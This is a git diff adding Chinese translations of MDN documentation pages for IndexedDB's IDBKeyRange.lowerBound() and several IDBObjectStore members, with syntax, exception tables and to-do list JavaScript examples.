+ + diff --git a/files/zh-cn/web/api/idbkeyrange/lowerbound/index.html b/files/zh-cn/web/api/idbkeyrange/lowerbound/index.html new file mode 100644 index 0000000000..8a9457d202 --- /dev/null +++ b/files/zh-cn/web/api/idbkeyrange/lowerbound/index.html @@ -0,0 +1,126 @@ +--- +title: IDBKeyRange.lowerBound() +slug: Web/API/IDBKeyRange/lowerBound +translation_of: Web/API/IDBKeyRange/lowerBound +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBKeyRange")}} 接口的lowerBound()方法创建一个只有下限的新的键范围。默认情况下,它包含较低的端点值。

+
+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
var myIDBKeyRange = IDBKeyRange.lowerBound(lower);
+var myIDBKeyRange = IDBKeyRange.lowerBound(lower, open);
+
+ +

Parameters

+ +
+
lower 
+
指定新键范围的下限。
+
open {{optional_inline}}
+
指示下限是否排除端点值。默认值为false。
+
+ +

Return value

+ +

{{domxref("IDBKeyRange")}}: 新创建的键范围.

+ +

Exceptions

+ +

此方法可能引发以下类型的 {{domxref("DOMException")}} :

+ + + + + + + + + + + + + + +
ExceptionDescription
DataError +

The value parameter passed was not a valid key.

+ +
+
+ +

Example

+ +

下面的示例演示如何使用下限键范围。在这里,我们声明keyRangeValue = IDBKeyRange.lowerBound("F", false);— 一个包含值“F”及其后所有内容的范围。我们打开一个事务(使用 {{domxref("IDBTransaction")}})和一个对象存储,并使用 {{domxref("IDBObjectStore.openCursor")}}打开一个游标,声明keyRangeValue 为其可选的键范围值。这意味着光标将只检索键值为“F”及其后面的所有记录。如果使用IDBKeyRange.lowerBound("F", true);,则该范围将不包括端点“F”,仅包括其后面的值。

+ +
+

Note: 要获得一个更完整的示例,使您能够使用键范围进行实验,请查看我们的 IDBKeyRange-example实时查看该示例)。

+
+ +
function displayData() {
+  var keyRangeValue = IDBKeyRange.lowerBound("F");
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '<strong>' + cursor.value.fThing + '</strong>, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Entries all displayed.');
+      }
+    };
+  };
+ +
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#widl-IDBKeyRange-lowerBound-IDBKeyRange-any-lower-boolean-open', 'lowerBound()')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#dom-idbkeyrange-lowerbound-lower-open-lower", "lowerBound()")}}{{Spec2("IndexedDB 2")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBKeyRange.lowerBound")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbobjectstore/add/index.html b/files/zh-cn/web/api/idbobjectstore/add/index.html new file mode 100644 index 0000000000..b953262c13 --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/add/index.html @@ -0,0 +1,179 @@ +--- +title: IDBObjectStore.add() +slug: Web/API/IDBObjectStore/add +translation_of: Web/API/IDBObjectStore/add +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBObjectStore")}} 接口中的 add() 方法返回一个 {{domxref("IDBRequest")}} 对象,在单独的线程中创建一个结构(structured clone)化克隆值,并且在对象存储中存储这个克隆值。这个方法用作在一个对象存储中添加一条新的记录。

+
+ +

 要确定添加操作是否成功完成,可以监听事务的 complete 事件。除了 IDBObjectStore.add 请求 success 事件之外,因为事务在成功被触发后仍然可能失败。换句话说,成功事件只有在事务成功排队后才会触发。

+ +

add() 方法是唯一的插入方法。如果以关键字参数作为主键的一条记录已经存在在存储对象中,这时在返回的请求对象中 ConstrainError 错误事件将被触发。对于更新存在的记录,你应该使用 {{domxref("IDBObjectStore.put")}} 方法替代它。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var request = objectStore.add(value);
+var request = objectStore.add(value, key);
+
+ +

参数

+ +
+
value
+
需要存储的值。
+
key {{optional_inline}}
+
关键字用于识别记录。如果未指明,即为空。
+
+ +

返回

+ +

一个 {{domxref("IDBRequest")}} 对象,在该操作对象中触发与此相关的后续事件。

+ +

异常

+ +

这个方法可能导致以下类型中的一个 {{domxref("DOMException")}} :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
ReadOnlyError与此操作相关联的事务处于只读模式。
TransactionInactiveError当前 {{domxref("IDBObjectStore")}} 事务不可用。
DataError +

适用于以下任何条件:

+ +
    +
  • 对象存储使用内联键或者拥有密钥生成器(键生成器),并且提供了键参数。
  • +
  • 对象存储使用外联键或者没有密钥生成器(键生成器),并且没有提供键参数。
  • +
  • 对象存储使用内联键但是没有密钥生成器(键生成器),并且对象存储的键路径不会产生一个有效的键值。
  • +
  • 键参数已经被提供,但是不包含一个有效的键。
  • +
+
InvalidStateError +

{{domxref("IDBObjectStore")}} 已经被删除或者移除。

+
DataCloneError通过内部结构的克隆算法,被存储的数据无法被克隆
+  
ConstraintError +

因为主键违法规定导致的插入操作失败(由于已存在的记录使用了相同的主键值)。

+
+ +

示例

+ +

在以下的代码片段中,在我们数据库中打开一个 read/write(读写)事务和使用 add() 方法添加一些数据到存储对象中。还要注意附加到事务事件处理程序的函数,这些函数用于报告事务打开成功或失败时的结果。完整的示例代码,请查看我们的 To-do Notifications 应用 在线查看示例 )。

+ +
// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db variable.
+  // This is used a lot below
+  db = DBOpenRequest.result;
+
+  // Run the addData() function to add the data to the database
+  addData();
+};
+
+function addData() {
+  // Create a new object ready to insert into the IDB
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // open a read/write db transaction, ready for adding the data
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // report on the success of the transaction completing, when everything is done
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '<li>Transaction completed.</li>';
+  };
+
+  transaction.onerror = function(event) {
+  note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+  };
+
+  // create an object store on the transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Make a request to add our newItem object to the object store
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // report the success of our request
+    note.innerHTML += '<li>Request successful.</li>';
+  };
+};
+ +

Specification

+ +
+
+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#dom-idbobjectstore-add', 'add()')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#dom-idbobjectstore-add", "add()")}}{{Spec2("IndexedDB 2")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBObjectStore.add")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbobjectstore/autoincrement/index.html b/files/zh-cn/web/api/idbobjectstore/autoincrement/index.html new file mode 100644 index 0000000000..0a4aca4377 --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/autoincrement/index.html @@ -0,0 +1,133 @@ +--- +title: IDBObjectStore.autoIncrement +slug: Web/API/IDBObjectStore/autoIncrement +translation_of: Web/API/IDBObjectStore/autoIncrement +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBObjectStore")}}的只读属性autoIncrement接口返回当前objectStore的自增标记值(true或false)。

+ +

什么是自增呢?熟悉SQL的朋友应该知道,SQL数据里面的字段可以设置自增,当一条记录被插入时,不必传入该字段,新记录的该字段值会在前面一条记录该字段值的基础上加1.而indexedDB里面的autoIncrement的同样的意义。(译者注)

+ +

注意:每个objectStore的auto increment计数器是分开独立的。

+ +

{{AvailableInWorkers}}

+
+ +

句法

+ +
var myAutoIncrement = objectStore.autoIncrement;
+ +

Value

+ +

{{domxref("Boolean")}}:

+ + + + + + + + + + + + + + + + + + +
含义
true当前objectStore会自增
false当前objectStore不会自增
+  
+ +

例子

+ +

在下面代码片段中,我们在数据库里打开了一个可读写的事务(transaction),并且用add()向一个objectStore中添加了一些数据。在objectStore被创建之后,我们在console中打印了objectStore.autoIncrement的值。想查看完整的例子,请查看我们的To-do Notifications应用(查看在线例子)。

+ +
// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db variable.
+  // This is used a lot below
+  db = DBOpenRequest.result;
+
+  // Run the addData() function to add the data to the database
+  addData();
+};
+
+function addData() {
+  // Create a new object ready to insert into the IDB
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // open a read/write db transaction, ready for adding the data
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // report on the success of the transaction completing, when everything is done
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '<li>Transaction completed.</li>';
+  };
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+  };
+
+  // create an object store on the transaction
+  var objectStore = transaction.objectStore("toDoList");
+  console.log(objectStore.autoIncrement);
+
+  // Make a request to add our newItem object to the object store
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // report the success of our request
+    note.innerHTML += '<li>Request successful.</li>';
+  };
+};
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('IndexedDB', '#widl-IDBObjectStore-autoIncrement', 'autoIncrement')}}{{Spec2('IndexedDB')}} 
{{SpecName("IndexedDB 2", "#dom-idbobjectstore-autoincrement", "autoIncrement")}}{{Spec2("IndexedDB 2")}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.IDBObjectStore.autoIncrement")}}

+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/idbobjectstore/get/index.html b/files/zh-cn/web/api/idbobjectstore/get/index.html new file mode 100644 index 0000000000..fb7938d827 --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/get/index.html @@ -0,0 +1,149 @@ +--- +title: IDBObjectStore.get() +slug: Web/API/IDBObjectStore/get +translation_of: Web/API/IDBObjectStore/get +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBObjectStore")}} 的接口 get()方法 返回 {{domxref("IDBRequest")}} 对象,并在“单独的线程(separate thread)”中返回由指定键选择的“对象储存(object store)” 。这用于从对象储存检索特定记录。

+
+ +

如果成功找到值,则会创建其值的结构化克隆,并设置为“请求对象(request object)”的 result

+ +

{{ Note("This method produces the same result for: a) a record that doesn't exist in the database and b) a record that has an undefined value. To tell these situations apart, call the openCursor() method with the same key. That method provides a cursor if the record exists, and no cursor if it does not.") }}

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var request = objectStore.get(key);
+ +

参数

+ +
+
key
+
标识要检索的记录的键或键范围
+
+ +

返回值

+ +

触发与此操作相关的后续事件的 {{domxref("IDBRequest")}} 对象。

+ +

异常

+ +

此方法可能会引发以下类型之一的 {{domxref("DOMException")}} :

+ + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
TransactionInactiveErrorThis {{domxref("IDBObjectStore")}}'s transaction is inactive.
DataError +

The key or key range provided contains an invalid key.

+
InvalidStateErrorThe {{domxref("IDBObjectStore")}} has been deleted or removed.
+  
+ +

例子

+ +

在以下的代码段中,我们在数据库上打开一个“读/写 事务(read/write transaction)”,并使用 get() 从“对象储存( object store )”中获取一个特定的记录——一个带有“Walk dog”键的示例记录。一旦检索到这个数据对象,你就可以使用普通的JavaScript更新它,然后使用 {{domxref("IDBObjectStore.put")}} 操作将其放回数据库。有关完整的工作示例,查看我们的 To-do Notifications app (view example live.)

+ +
// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db variable.
+  // This is used a lot below
+  db = DBOpenRequest.result;
+
+  // Run the getData() function to get the data from the database
+  getData();
+};
+
+function getData() {
+  // open a read/write db transaction, ready for retrieving the data
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // report on the success of the transaction completing, when everything is done
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '<li>Transaction completed.</li>';
+  };
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '<li>Transaction not opened due to error: ' + transaction.error + '</li>';
+  };
+
+  // create an object store on the transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Make a request to get a record by key from the object store
+  var objectStoreRequest = objectStore.get("Walk dog");
+
+  objectStoreRequest.onsuccess = function(event) {
+    // report the success of our request
+    note.innerHTML += '<li>Request successful.</li>';
+
+    var myRecord = objectStoreRequest.result;
+  };
+
+};
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#dom-idbobjectstore-get', 'get()')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#dom-idbobjectstore-get", "get()")}}{{Spec2("IndexedDB 2")}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.IDBObjectStore.get")}}

+
+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/idbobjectstore/index.html b/files/zh-cn/web/api/idbobjectstore/index.html new file mode 100644 index 0000000000..172820799e --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/index.html @@ -0,0 +1,759 @@ +--- +title: IDBObjectStore +slug: Web/API/IDBObjectStore +tags: + - API + - IDBObjectStore + - IndexedDB + - Storage + - local storage & cache +translation_of: Web/API/IDBObjectStore +--- +

{{APIRef("IndexedDB")}}

+ +

 IndexedDB API  的 IDBObjectStore 接口表示数据库中的 一个 对象库(object store) 。对象库中的记录根据其键值进行排序。这种排序可以实现快速插入,查找和有序检索。

+ +

{{AvailableInWorkers}}

+ +

注:为了方便理解,可以把“对象存储空间”想象成关系数据库的“表”结构,下文也会把对象存储空间称为表。

+ +

方法预览

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
IDBRequest add (in any value, in optional any key) raises (DOMException);
IDBRequest clear () raises (DOMException);
IDBRequest count (in optional any key) raises(DOMException);
IDBIndex createIndex  (in DOMString name, in DOMString keyPath, in optional boolean unique) raises (DOMException);
IDBRequest delete (in any key) raises (DOMException);
void deleteIndex (in any DOMString indexName) raises (DOMException);
IDBRequest get (in any key) raises (DOMException);
IDBIndex index (in DOMString name) raises (DOMException);
IDBRequest openCursor (in optional IDBKeyRange range, in optional unsigned short direction) raises(DOMException);
IDBRequest put (in any value, in optional any key) raises (DOMException);
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
indexNamesreadonly DOMStringList表中对象的索引名列表。
keyPathreadonly DOMString表中的键路径,如果该属性为null,每次操作表时必须提供一个键名。
namereadonly DOMString表名
transactionreadonly IDBTransaction事务的名称,该表属于此事务。
autoIncrementreadonly boolean表中自增字段的值
+ +

方法

+ +

add()

+ +

返回一个IDBRequest对象,并且在新线程中克隆一个值,该值存储在表中。

+ +

想知道是否成功添加数据,可以在事务的complete事件中进行监听,而不是success,因为事务在success事件之后还有可能失败。

+ +

add方法只能插入数据。如果以key参数作为某记录的关键字,并且该条记录已存在,则其所返回的请求对象会产生ConstrainError错误。

+ +
IDBRequest add (in any value, in optional any key) raises (DOMException);
+ +
参数
+ +
+
value
+
被存储的值。
+
key
+
标识某条记录的键,如果不指定,它会被设为null。
+
+ +
返回
+ +
+
IDBRequest
+
一个请求对象,可以在其中绑定事件。
+
+ +
异常
+ +

该方法会抛出DOMError类型的DOMException异常。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
ReadOnlyErrorThe transaction associated with this operation is in read-only mode.
TransactionInactiveErrorThis IDBObjectStore's transaction is inactive.
DataError +

Any of the following conditions apply:

+ +
    +
  • The object store uses in-line keys or has a key generator, and a key parameter was provided.
  • +
  • The object store uses out-of-line keys and has no key generator, and no key parameter was provided.
  • +
  • The object store uses in-line keys but no key generator, and the object store's key path does not yield a valid key.
  • +
  • The key parameter was provided but does not contain a valid key.
  • +
+
InvalidStateErrorThe IDBObjectStore has been deleted or removed.
DataCloneErrorThe data being stored could not be cloned by the internal structured cloning algorithm.
+ +

clear()

+ +

创建并立即返回一个 IDBRequest 对象, 并且在一个单独的线程中清除这个对象存储. 清除对象存储包括从对象存储中删除所有的记录,并删除对象存储引用的索引中的所有记录。

+ +
IDBRequest clear () raises (DOMException);
+ +
Returns
+ +
+
IDBRequest
+
返回一个request对象,在其上触发与操作相关的事件。
+
+ +
Exceptions
+ +

此方法可能会引发domException,其中domError的类型如下:

+ + + + + + + + + + + + + + + + + + +
ExceptionDescription
ReadOnlyErrorThe transaction associated with this operation is in read-only mode.
TransactionInactiveErrorThis IDBObjectStore's transaction is inactive.
+ +

count()

+ +

立即返回一个 IDBRequest 对象,并在新线程中计算符合条件的对象的数量,该方法的参数可以是键,或键范围(key range)。在 IDBRequest 对象中,source属性就是IDBObjectStore对象,result属性持有计算后的数量值。如果参数非法将会抛出异常。

+ +
IDBRequest count (in optional any key) raises(DOMException);
+ +
参数
+ +
+
key
+
计算被该键或键范围(key range)所标识的记录数。
+
+ +
Returns
+ +
+
IDBRequest
+
一个请求对象,可绑定事件。
+
+ +
异常
+ +

该方法会引发如下异常:

+ + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
TransactionInactiveError事务已闲置
DataError +

key参数非法

+
InvalidStateErrorIDBObjectStore对象已被删除
+ +

createIndex()

+ +
+
+ +

创建并返回新的IDBIndex对象,该方法只能从versionchange事务模式的回调方法中被调用。

+ +
IDBIndex createIndex  (in DOMString name, in DOMString keyPath, in optional boolean unique) raises (DOMException);
+ +
Parameters
+ +
+
name
+
The name of the index to create.
+
keyPath
+
The key path for the index to use.
+
optionalParameters
+
+

The IDBIndexParameters object whose attributes are optional parameters to the method. It includes the following properties:

+ + + + + + + + + + + + + + + + + + +
AttributeDescription
uniqueIf true, the index will not allow duplicate values for a single key.
multiEntryIf true, the index will add an entry in the index for each array element when the keypath resolves to an Array. If false, it will add one single entry containing the Array.
+
+
+ +
Returns
+ +
+
IDBIndex
+
The newly created index.
+
+ +
Exceptions
+ +

This method may raise a DOMException with a DOMError of the following types:

+ + + + + + + + + + + + + + + + + + +
ExceptionDescription
InvalidStateErrorThe IDBObjectStore has been deleted or removed or the method was not called from a versionchange transaction mode callback.
ConstraintErrorAn index with the same name (case-sensitive) already exists in the database.
+  
+ +

delete()

+ +
+
+ +

Immediately returns an IDBRequest object, and removes the records specified by the given key or key range from this object store, and any indexes that reference it, in a separate thread.

+ +
IDBRequest delete (in any key) raises (DOMException);
+ +
Parameters
+ +
+
key
+
The key or key range that identifies the records.
+
+ +
Returns
+ +
+
IDBRequest
+
A request object on which subsequent events related to this operation are fired. As per spec the result of the Object Store Deletion Operation algorithm is undefined, so it's not possible to know if some records were actually deleted by looking at the request result.
+
+ +
Exceptions
+ +

This method may raise a DOMException with a DOMError of the following types:

+ + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
TransactionInactiveErrorThis IDBObjectStore's transaction is inactive.
ReadOnlyError +

The transaction associated with this operation is in read-only mode.

+
DataErrorThe key or key range provided contains an invalid key.
+ +
+
+ +
+

If the key that identifies the record is a Number, the key passed to the delete method must be a Number too, and not a String. So for example you might need to do the following:

+ +
var key_val = '42';
+var key = Number(key_val);
+objectstore.delete(key);
+
+ +

deleteIndex()

+ +

Destroys the index with the specified name in the connected database. Note that this method must be called only from a VersionChange transaction mode callback. Note that this method synchronously modifies the indexNames property.

+ +
void deleteIndex (in any DOMString indexName) raises (DOMException);
+ +
Parameters
+ +
+
indexName
+
The name of the existing index to remove.
+
Returns
+
Void
+
+ +
Exceptions
+ +

This method may raise a DOMException with a DOMError of the following types:

+ + + + + + + + + + + + + + + + + + +
ExceptionDescription
InvalidStateErrorThe method was not called from a versionchange transaction mode callback.
NotFoundErrorThere is no index with the given name (case-sensitive) in the database.
+ +

get()

+ +

Immediately returns an IDBRequest object, and retrieves the requested record from the object store in a separate thread. If the operation is successful, then a success event is fired on the returned object, with its result set to the retrieved value, and transaction set to the transaction in which this object store is opened. 

+ +
IDBRequest get (in any key) raises (DOMException);
+ +

{{ Note("This function produces the same result if no record with the given key exists in the database as when a record exists, but with an undefined value. To tell these situations apart, call the openCursor() method with the same key. That method provides a cursor if the record exists, and no cursor if it does not.") }}

+ +
Parameters
+ +
+
key
+
The key or key range identifying the record to retrieve. In the case of a key range, the record returned is the first record associated with the first key in the range.
+
+ +
Returns
+ +
+
IDBRequest
+
A request object on which subsequent events related to this operation are fired.
+
+ +
Exceptions
+ +

This method may raise a DOMException with a DOMError of the following types:

+ + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
TransactionInactiveErrorThis IDBObjectStore's transaction is inactive.
DataError +

The key or key range provided contains and invalid key.

+
InvalidStateErrorThe IDBObjectStore has been deleted or removed.
+  
+ +

index()

+ +

Opens the named index in this object store.

+ +
IDBIndex index (in DOMString name) raises (DOMException);
+ +
Parameters
+ +
+
name
+
The name of the index to open.
+
+ +
Returns
+ +
+
IDBIndex
+
An object for accessing the index.
+
+ +
Exceptions
+ +

This method may raise a DOMException with a DOMError of the following types:

+ + + + + + + + + + + + + + + + + + +
ExceptionDescription
InvalidStateErrorThe source object store has been deleted, or the transaction for the object store has finished.
NotFoundErrorThere is no index with the given name (case-sensitive) in the database.
+  
+ +

openCursor()

+ +

Immediately returns an IDBRequest object, and creates a cursor over the records in this object store, in a separate thread. If there is even a single record that matches the key range, then a success event is fired on the returned object, with its result set to the IDBCursor object for the new cursor. If no records match the key range, then a success event is fired on the returned object, with its result set to null.

+ +
IDBRequest openCursor (in optional IDBKeyRange range, in optional unsigned short direction) raises(DOMException);
+ +
Parameters
+ +
+
range
+
The key range to use as the cursor's range. If this parameter is unspecified or null, then the range includes all the records in the object store.
+
direction
+
The cursor's direction.
+
+ +
Returns
+ +
+
IDBRequest
+
A request object on which subsequent events related to this operation are fired.
+
+ +
Exceptions
+ +

This method may raise a DOMException with a DOMError of the following types:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
TransactionInactiveErrorThis IDBObjectStore's transaction is inactive.
DataError +

The key or key range provided contains and invalid key.

+
InvalidStateErrorThe IDBObjectStore has been deleted or removed.
TypeErrorThe value of the direction parameter is invalid.
+ +

put()

+ +

Returns an IDBRequest object, and, in a separate thread, creates a structured clone of the value, and stores the cloned value in the object store. If the record is successfully stored, then a success event is fired on the returned request object with the result set to the key for the stored record, and transaction set to the transaction in which this object store is opened.

+ +

The put method is an update or insert method. See also the add() method.

+ +
IDBRequest put (in any value, in optional any key) raises (DOMException);
+ +
Parameters
+ +
+
value
+
The value to be stored.
+
key
+
The key to use to identify the record. If unspecified, it results to null.
+
+ +
Returns
+ +
+
IDBRequest
+
A request object on which subsequent events related to this operation are fired.
+
+ +
Exceptions
+ +

This method may raise a DOMException with a DOMError of the following types:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
ReadOnlyErrorThe transaction associated with this operation is in read-only mode.
TransactionInactiveErrorThis IDBObjectStore's transaction is inactive.
DataError +

Any of the following conditions apply:

+ +
    +
  • The object store uses in-line keys or has a key generator, and a key parameter was provided.
  • +
  • The object store uses out-of-line keys and has no key generator, and no key parameter was provided.
  • +
  • The object store uses in-line keys but no key generator, and the object store's key path does not yield a valid key.
  • +
  • The key parameter was provided but does not contain a valid key.
  • +
+
InvalidStateErrorThe IDBObjectStore has been deleted or removed.
DataCloneErrorThe data being stored could not be cloned by the internal structured cloning algorithm.
+ +

Example

+ +
+
+ +
+
+ +

This example shows a variety of different uses of object stores, from updating the data structure with {{domxref("IDBObjectStore.createIndex")}} inside an onupgradeneededfunction, to adding a new item to our object store with {{domxref("IDBObjectStore.add")}}. For a full working example, see our To-do Notifications app (view example live.)

+ +
// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in db.
+  db = DBOpenRequest.result;
+};
+
+// This event handles the event whereby a new version of
+// the database needs to be created Either one has not
+// been created before, or a new version number has been
+// submitted via the window.indexedDB.open line above
+DBOpenRequest.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function(event) {
+    note.innerHTML += '<li>Error loading database.</li>';
+  };
+
+  // Create an objectStore for this database
+
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // define what data items the objectStore will contain
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+
+  objectStore.createIndex("notified", "notified", { unique: false });
+
+  note.innerHTML += '<li>Object store created.</li>';
+};
+
+// Create a new item to add in to the object store
+var newItem = [
+  { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: 'December', year: 2013, notified: "no" }
+];
+
+// open a read/write db transaction, ready for adding the data
+var transaction = db.transaction(["toDoList"], "readwrite");
+
+// report on the success of the transaction completing, when everything is done
+transaction.oncomplete = function(event) {
+  note.innerHTML += '<li>Transaction completed.</li>';
+};
+
+transaction.onerror = function(event) {
+  note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+};
+
+// create an object store on the transaction
+var objectStore = transaction.objectStore("toDoList");
+// make a request to add our newItem object to the object store
+var objectStoreRequest = objectStore.add(newItem[0]);
+
+objectStoreRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Request successful .</li>';
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBObjectStore', 'IDBObjectStore')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#object-store-interface", "IDBObjectStore")}}{{Spec2("IndexedDB 2")}}
+ +

Browser compatibility

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-dataand send us a pull request.

+ +

{{Compat("api.IDBObjectStore")}}

+ +

See also

+ + + +
diff --git a/files/zh-cn/web/api/idbobjectstore/indexnames/index.html b/files/zh-cn/web/api/idbobjectstore/indexnames/index.html new file mode 100644 index 0000000000..c124f70a9b --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/indexnames/index.html @@ -0,0 +1,110 @@ +--- +title: IDBObjectStore.indexNames +slug: Web/API/IDBObjectStore/indexNames +translation_of: Web/API/IDBObjectStore/indexNames +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBObjectStore")}} 的只读属性 indexNames 返回此对象存储中对象的 indexes 名称(name)列表。

+ +

{{AvailableInWorkers}}

+
+ +

Syntax

+ +
var myindexNames = objectStore.indexNames;
+ +

Value

+ +

一个 {{domxref("DOMStringList")}}.

+ +

Example

+ +

在下面的代码片段中,我们在数据库上打开一个读/写事务并使用 add() 向对象存储添加一些数据。创建对象存储后,我们将打印 objectStore.indexNames 到控制台。有关完整的工作示例,请参阅我们的 待办事项通知应用程序 ( 实时查看示例 )

+ +
// 让我们来打开我们的数据库
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // 将打开数据库的结果存储在db变量中
+  // 下面经常用到这个
+  db = this.result;
+
+  // 运行 addData() 函数将数据添加到数据库
+  addData();
+};
+
+function addData() {
+  // 创建一个新对象以准备插入到IDB中
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // 打开读/写数据库事务,准备添加数据
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // 当所有事情都完成时,报告事务完成的成功情况
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '<li>Transaction completed.</li>';
+  };
+
+
+  transaction.onerror = function(event) {
+  note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+  };
+
+  // 在事务上创建对象存储
+  var objectStore = transaction.objectStore("toDoList");
+  console.log(objectStore.indexNames);
+
+  // 请求将 newItem 对象 添加到对象存储区
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // 报告我们请求的成功
+    note.innerHTML += '<li>Request successful.</li>';
+  };
+};
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态解释
{{SpecName('IndexedDB', '#dom-idbobjectstore-indexnames', 'indexNames')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#dom-idbobjectstore-indexnames", "indexNames")}}{{Spec2("IndexedDB 2")}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.IDBObjectStore.indexNames")}}

+
+ +

查看其它内容

